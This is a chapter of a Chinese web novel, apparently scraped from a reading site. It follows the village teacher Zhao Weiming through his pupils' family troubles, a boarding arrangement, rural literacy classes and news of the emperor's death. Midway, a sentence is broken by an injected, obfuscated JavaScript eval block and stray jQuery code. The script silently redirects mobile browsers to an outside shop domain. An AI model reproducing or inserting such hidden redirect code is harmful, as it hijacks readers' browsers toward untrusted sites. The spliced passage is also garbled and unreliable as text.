52. 不要望子成龙
    尹思敬身世也确实波折。他娘姓王,年轻时因为貌美能干实现了户籍跨越,田间地头长大的姑娘订给了镇上一家做白事生意的孙姓郎君。

    这亲一订,当年谁不羡慕她既有能力又有运气?谁知这门婚事只是表面光。孙郎君未成婚时到处沾花拈草,干过最出名的事儿之一便是招惹了赵丫丫被打到在床上躺了半月。

    家里也是宁愿把生意交给长女生意也不愿给他,于是这个棺材店少东家只得沦落到去市集卖菜。当初赵丫丫受伤后,赵惟明去市集套消息时便遇到过他,就是那个臭嘴青年。

    可王氏初嫁之时,哪里能预见这等光景?他们一家都看中了孙家的生意。白事生意是不吉利,可里头油水大着呢?

    嫁过来才发现自个儿郎君不过是银样镴枪头,她能怎么办呢?只得忍着恶心过日子罢了。

    不过她一退再退,婆家非但不体谅她的不易,反而开始对她百般挑剔,瞧不起她是个乡下人,讥讽她数年不育,丈夫更是冷酷无情,几次直言欲将她休弃。

    王娘子若是个鹌鹑也就罢了,可她偏偏有几分骨气,干脆把两家人拉到一张桌上,和离便和离!

    可她刚归宗,便查出来有月余身孕。这下大家伙儿态度可全变了。娘家人劝她就当是为了孩子要有个爹,忍一忍算了。她也动摇了,由着娘家哥哥去赵孙家谈判。

    没成想孙家根本没打算认这个肚皮。人家孙郎君早就勾搭上县里一个寡妇,那会儿寡妇已经孕肚圆圆屁股大,一看就得给他们王家生个儿子!哪里会搭理强势又不讨喜的前儿媳妇呢?

    王家兄长们一团和气地上门,被羞辱一番后回来自然是火冒三丈,可眼下解决妹妹的事儿更要紧。刚好镇上有个尹木匠,一把年纪了也没娶妻,几人一拍即合,遂将王娘子嫁了过去。

    八个月后,王娘子在尹家生了个小男孩,这男孩儿便是尹思敬。

    虽说姓尹,可三家人都明白他是谁的孩子。尹木匠为人讲求实在,也没觉着不是自个儿的血脉心里膈应,毕竟跟自己姓嘛,将来还不是得给他摔盆儿。

    王娘子则不同,她生来要强却被孙家几次三番羞辱,再加上前夫苟合赶在她前面儿也生了个儿子,两相刺激下她便把全部的希望都倾注到这个刚出生的孩子上。于是自打尹思敬能走路起,他娘对他就十分严苛日日鞭策。

    画画这个事儿尹大壮也知道些,尹思敬四五岁起就展露了对画画的热情,到了七八岁上了学,画得小人儿更是得到了同窗们热烈追捧,甚至还做起了生意。

    王娘子得知后气歪了嘴,什么画画天赋?那是他生父一家血脉相承的做寿衣的手艺!

    他怎么能像自己亲爹那家人呢?明明是她耗尽心血将他养大,日夜不停做工供他上学,为何偏偏不是考第一,而是喜欢那些不入流的玩意儿,像极了自己深恶痛绝的一家呢?

    从此但凡尹思敬敢勾出一个线条,被逮住了就是一顿打,学习上也管束到了近乎病态的程度。他是个乖小孩儿,可是任凭他再刻苦也得不到一句夸赞,永远只有一句“你若是再勤勉些远不止如此”。也怪不得他常年顶着个大眼袋了。

    赵惟明了解后也觉得问题棘手,王娘子毕竟经历特殊,想来跟她沟通孩子学画的事情几乎是不可能了。但真的要看千里马埋没于此么?

    还有赵小静,这一年多来他连夸带罚,总算让这小子懂事儿不少。平日上课积极认真,也学会了下课后再释放精力,成绩也突飞猛进。他爸虽然能听进去劝,却控制不住几十年养成的暴烈脾气,打孩子下死手。

    再打下去,谁知道这孩子会成啥样?就算他能教成才,可他爹分分钟就能叫他不做人。

    不过,说的好听点他是人人尊敬的夫子,不好听的也就是个教书匠,他还能把手伸到别人家里去?家家有本难念的经啊。

    还是先隔开家长罢,赵惟明捏了捏眉心。赵小静的问题他打算就一直隔着父子二人,别让他沾了他爹那些坏毛病。尹思敬嘛,等一两年后,他自有妙计。

    前些日子宁娘非要还钱给他,他哪里肯要自家娘子的钱?只是变成一家人了,他话语权还没宁娘大呢。娘子拍板儿决定拿这钱给学堂盖两间屋子,给他建个书房同时供学生们午休,岂容他置喙?

    好在如今他倒是可以跟宁不屈商量下,给这两间屋子多打几张小床和柜子,供部分学子住宿。

    盖房子敲敲打打,也没影响学生们之乎者也。瓦片瞧家里人都没空管这事儿,主动请缨要求监工打杂,别看他年纪小,前头一年他可积攒了不少盖房经验。

    至于要的报酬嘛,小孩儿期期艾艾,半天终于憋出来句:“能让我上学吗?”

    终于等到你啊,赵惟明故作严肃上下打量:“你详细说说。”

    少年,想读书请先交个策划书呗。

    “我不白上夫子的课。我打算只上半天,剩下半天去给盖房子的打杂,房子盖完了我可以去给赵记送外卖,节日再挑担子豆腐去村里卖,攒钱交束脩。”这是他这些日子琢磨出来的办法,一直憋到今天才提读书的事,也是因为终于磨得赵记老板同意给他份稳定的兼职。

    “然后呢?上完学打算做什么?”偷学这么些日子,倒也有些长进。

    “也想好了,我打算就读两年,能认得常用的字,会算术就行。县里那些体面人家开的布庄酒馆都要识字的伙计,我到时候就去县里做工。草垛妹妹我也想好了,等我攒够钱也让她在宁娘子那里念两年书,我给她备嫁妆银。”

    “行,”这才是他想要的学生,有主意又仁义,不过能读几年可是他才能说了算的,草垛也归宁娘管呢。

    “下次旬假你随我去镇上当个搬工。顺便买些便宜的纸,到时候我教你一次,以后你就自个儿去买。”

    “那夫子书房那些写秃了的毛笔和没用的砚台,可以便宜些卖给我不?”瓦片眼睛亮晶晶。

    可以啊这小子,脑袋瓜子转得挺快,说不得是个做生意的料子。赵惟明大手一拍小孩儿脑门儿,准了!

    宿舍原本是给几个有问题家长的学童准备的,待修成自个儿想进来的不少。除了尹、赵二人是他亲自去说服小孩父母以外,其余的高礼望、翟子清还有个李河生都是主动申请住进来的。

    赵惟明找了宝石村几个青壮,雇他们轮流值守,再找来小文她娘跟桂花婶子一块儿做饭,这半住宿制赵家学堂也就有了章程。

    七月流火,八月未央。待农忙时节过去,赵惟明的下乡扫盲班终于拉开序幕。原本他有些担心的学生们却个个争气,在乡亲面前甚至是自个儿爹娘面前也能侃侃而谈,绘声绘色地讲先贤故事。

    乡亲们也稀罕这样一群金贵的小童子给自个儿讲学,便拉着家里人尤其是小孩儿来听。

    反正闲着也是闲着,听他们扫盲,答对题多的还能领一斤米豆呢!

    没成想,扫盲双方互利共赢正开心呢,却有别处的拦路虎过来张牙舞爪。

    说是拦路虎,人家各个都披着张读书

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032175|148817||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    人的皮。

    赵惟明自认为是懂乡间潜规则的,他下乡扫盲前都提前跟里长、村长打了招呼,也打着锻炼学童的旗号才不收费。

    可他们这回去黄家村,必经之路上突兀地出现一截铺满厚泥浆路面,他们牛车过不了,想找村民来帮忙拉车,却各个都缩着屋子不出来。

    他这才知道自己动了某些体面人的利益。有时人的占有欲过于怪异,这些地主、村里私塾先生从未想过给村民们讲学,但若有别人来就是不行。

    能明目张胆这么干,一定是下定决定打算排挤他们的。这种事儿刚露头就必须掐死了,总不能真断送了这些年在乡绅中积攒的人气。

    赵惟明回去在笔下写写划划过了一圈,捡着县里风评良好的地主、夫子挨个上门拜访,直接把人拉到扫盲班利益集团来。大家可以一块儿干嘛!他下乡去也会多给他们宣传,一起提高声望,遇着好苗子也能给他们送去不是。其余那些个不讲道理的,直接避开便是了。

    因而即便遇着这样的吞苍蝇般恶心事儿,因势利导这么一转,他们倒也有了些收获。

    到了年底,他学堂好几个小孩甚至名声都在县里传播出去了,赵小静几人组由于活泼有趣,深得乡民们喜爱。高礼望、翟子清甚至还得到了县学张博士办的文会帖子。

    要知道这个朝代读书人的声名也很重要,尤其是童试还是不糊名的,在童试前便能让县令听一耳朵这生童名字,那上榜概率可是大大提升。

    拜访村里私塾先生途中也寻到了一位王童生,三十余岁年纪,对《易》的研究炉火纯青,就连他都望尘莫及。二人书信来往逐渐相熟后,赵惟明以帮他整理研究文稿作为交换,特地请他来每月给赵家学堂上三天课。

    忙忙碌碌一整年,这会儿到了冬至,他可算能连休三天了。只是宁不屈也在这场下乡活动中新收了俩女学生,整日与学生相处不亦乐乎,没时间陪他度个小假。

    赵惟明只好拿难得的假期给家里几个女人便架起了锅子,将肉切成薄薄一片下锅烫着吃。

    自从宁不屈出了孝期,二人便时常研究些吃食。宁娘最近老夸他做饭有进步,随便一弄都配色精致味道鲜极,赵惟明听得美滋滋,这些日子做饭热情高涨,把脑子里不少快忘记的前世菜品都拿出来,不重样地做,变着法儿等他娘子夸他。

    蓁蓁这会儿也忙完了年底的税务总结,请了探亲假回来陪赵丫丫。这会儿见着自个儿兄长连嫂嫂吃个肉片都怕她烫到,还会特地晾一会儿再放她碗里,暗自咂舌,这还是她那小古板兄长么?

    “蓁蓁,”宁不屈给她夹了块月牙肉,“娘说你爱吃鱼,这个嫩,多吃些。”

    “这也不错。”赵惟明跟着夹了块鸡腿肉过来。

    “谢谢嫂嫂、谢谢兄长。”呦,还得是自个儿嫂嫂好。兄长嘛,顶多算被嫂嫂调教的好。

    正当一行人热热闹闹围着锅子,吃撑了聊天消食时,远处突然传来三声钟响:

    玄音激荡,分外沉闷——圣上殡天了!

    景平帝在位十三年,后头三年没上过朝,去年便一直卧床,百姓们面上不敢说,背地里都觉得这位皇帝怕是个短寿的命。果不其然,他没撑过这年冬天。

    几个人面面相觑,最终还是有经验的赵丫丫反应最快,她得看看家里头还有没有白布呐!

    江山年年望相似,可那天子却轮换了一茬又一茬。上一代皇帝大行须得举国素缟,可大家更关心的则是,下一个九五至尊,是谁?